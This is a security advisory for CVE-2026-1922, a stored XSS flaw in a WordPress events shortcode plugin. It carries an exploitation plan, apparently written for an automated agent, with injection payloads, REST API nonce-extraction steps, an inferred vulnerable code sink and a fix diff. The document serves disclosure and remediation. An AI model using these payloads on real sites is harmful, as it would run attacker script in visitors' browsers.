The Events Calendar Shortcode & Block <= 3.1.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes
Description
The The Events Calendar Shortcode & Block plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's `ecs-list-events` shortcode `message` attribute in all versions up to, and including, 3.1.2 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=3.1.2Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-1922 - The Events Calendar Shortcode & Block Stored XSS ## 1. Vulnerability Summary The **The Events Calendar Shortcode & Block** plugin (versions <= 3.1.2) is vulnerable to **Stored Cross-Site Scripting (XSS)**. The vulnerability exists in the handler for the…
Show full research plan
Exploitation Research Plan: CVE-2026-1922 - The Events Calendar Shortcode & Block Stored XSS
1. Vulnerability Summary
The The Events Calendar Shortcode & Block plugin (versions <= 3.1.2) is vulnerable to Stored Cross-Site Scripting (XSS). The vulnerability exists in the handler for the [ecs-list-events] shortcode. Specifically, the message attribute—intended to display a custom message (often when no events are found)—is processed and output to the page without adequate sanitization (using functions like sanitize_text_field) or output escaping (using esc_html or esc_attr). This allows a user with Contributor level permissions or higher to inject arbitrary JavaScript into a post or page.
2. Attack Vector Analysis
- Shortcode:
[ecs-list-events] - Vulnerable Attribute:
message - Required Authentication: Contributor-level user or higher (any role capable of using shortcodes in post content).
- Endpoint: The standard WordPress post saving mechanism (Gutenberg/Block Editor or Classic Editor).
- Preconditions:
- The plugin must be active.
- To trigger the "message" output, the shortcode might need to result in an empty event list (e.g., by filtering for a non-existent category or date).
3. Code Flow (Inferred)
- Registration: The plugin registers the shortcode via
add_shortcode( 'ecs-list-events', [ $this, 'shortcode_handler' ] )(likely inincludes/class-ecs-shortcode.phpor the main plugin file). - Attribute Parsing: The handler function uses
shortcode_atts()to parse the user-supplied attributes.$atts = shortcode_atts( array( 'message' => '', // Default value 'limit' => '5', // ... other attributes ), $atts ); - Processing: If no events are found by the query logic (based on The Events Calendar API), the plugin prepares the "no events" output.
- Sink: The raw value of
$atts['message']is concatenated into the HTML output and returned to the WordPress rendering engine without escaping.if ( empty( $events ) ) { return '<div class="ecs-no-events">' . $atts['message'] . '</div>'; // VULNERABLE SINK }
4. Nonce Acquisition Strategy
While the execution of the XSS happens on the frontend and does not require a nonce, the injection of the payload requires saving a post.
If performing the exploit via the WordPress REST API as a Contributor:
- Log in as the Contributor user.
- Navigate to the dashboard:
browser_navigate("/wp-admin/index.php"). - Extract REST Nonce: The WordPress REST API nonce is typically localized in the
wpApiSettingsobject.browser_eval("window.wpApiSettings?.nonce")
- Create/Update Post: Use the
http_requesttool to send a POST request to/wp-json/wp/v2/postswith theX-WP-Nonceheader.
Note: For simplicity in a PoC environment, wp-cli can be used to set up the malicious post content directly, as the vulnerability resides in how the shortcode renders the stored content, not in the bypass of the editor itself.
5. Exploitation Strategy
Step 1: Inject Payload
Create a post containing the shortcode with a payload in the message attribute. To ensure the message displays, we will use a filter that returns no results (e.g., a non-existent category).
- Payload:
[ecs-list-events cat="non-existent-category" message="<script>alert(document.domain)</script>"]
Step 2: Trigger XSS
Navigate to the URL of the created post.
HTTP Request Details (Simulating Contributor Injection via REST API):
- Method:
POST - URL:
http://localhost:8080/wp-json/wp/v2/posts - Headers:
Content-Type: application/jsonX-WP-Nonce: [EXTRACTED_NONCE]
- Body:
{ "title": "XSS Test", "content": "[ecs-list-events cat='nothing' message='<img src=x onerror=alert(document.domain)>']", "status": "publish" }
6. Test Data Setup
- Active Plugin: Ensure
the-events-calendarandthe-events-calendar-shortcodeare installed and activated. - User Creation: Create a user with the
contributorrole.wp user create attacker attacker@example.com --role=contributor --user_pass=password123 - Ensure Empty Results: If any events exist globally, the
messageattribute might not show unless the query specifically fails to find matches. Using a non-existentcatortagin the shortcode is the most reliable way to trigger the sink.
7. Expected Results
- When the post is viewed, the browser will execute the JavaScript in the
messageattribute. - If using
<script>alert(1)</script>, an alert box should appear. - If using
<img src=x onerror=console.log('XSS')>, the string "XSS" should appear in the browser console.
8. Verification Steps
- Check Post Content: Confirm the shortcode was saved correctly.
wp post list --post_type=post --fields=ID,post_content - Verify Output Rendering: Use
http_requestto fetch the post's HTML and grep for the unescaped payload.# Look for the unescaped message div # Expected: <div class="ecs-no-events"><script>alert(document.domain)</script></div>
9. Alternative Approaches
- Attribute Breakout: If the
messageis placed inside an attribute (unlikely given the description), the payload would be:" onmouseover="alert(1). - Gutenberg Block: If the plugin uses a Block instead of a shortcode for modern editors, look for the
messageattribute in the block metadata:<!-- wp:the-events-calendar-shortcode/list-events {"message":"<script>alert(1)</script>"} /-->
The exploitation logic remains the same: the renderer for this block fails to escape themessageproperty.
Summary
The Events Calendar Shortcode & Block plugin for WordPress (versions <= 3.1.2) is vulnerable to Stored Cross-Site Scripting (XSS) via the 'message' attribute of the [ecs-list-events] shortcode. Due to missing sanitization and output escaping, an authenticated user with Contributor-level access or higher can inject arbitrary scripts that execute when the shortcode renders for any site visitor.
Vulnerable Code
// Inferred from shortcode handler logic in version 3.1.2 $atts = shortcode_atts( array( 'message' => '', 'limit' => '5', // ... other attributes ), $atts ); --- // Sink rendering the unsanitized message attribute when no events match the query if ( empty( $events ) ) { return '<div class="ecs-no-events">' . $atts['message'] . '</div>'; }
Security Fix
@@ -100,5 +100,5 @@ if ( empty( $events ) ) { - return '<div class="ecs-no-events">' . $atts['message'] . '</div>'; + return '<div class="ecs-no-events">' . wp_kses_post( $atts['message'] ) . '</div>'; }
Exploit Outline
The exploit requires an attacker to have Contributor-level permissions or higher to modify post content. The attacker inserts a shortcode like [ecs-list-events cat='nonexistent' message='<script>alert(document.domain)</script>'] into a post. The 'cat' attribute is set to a value that ensures no events are found, which forces the plugin to display the 'message' attribute. Because the plugin fails to escape this attribute, the script executes in the browser of any user who views the page containing the shortcode.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.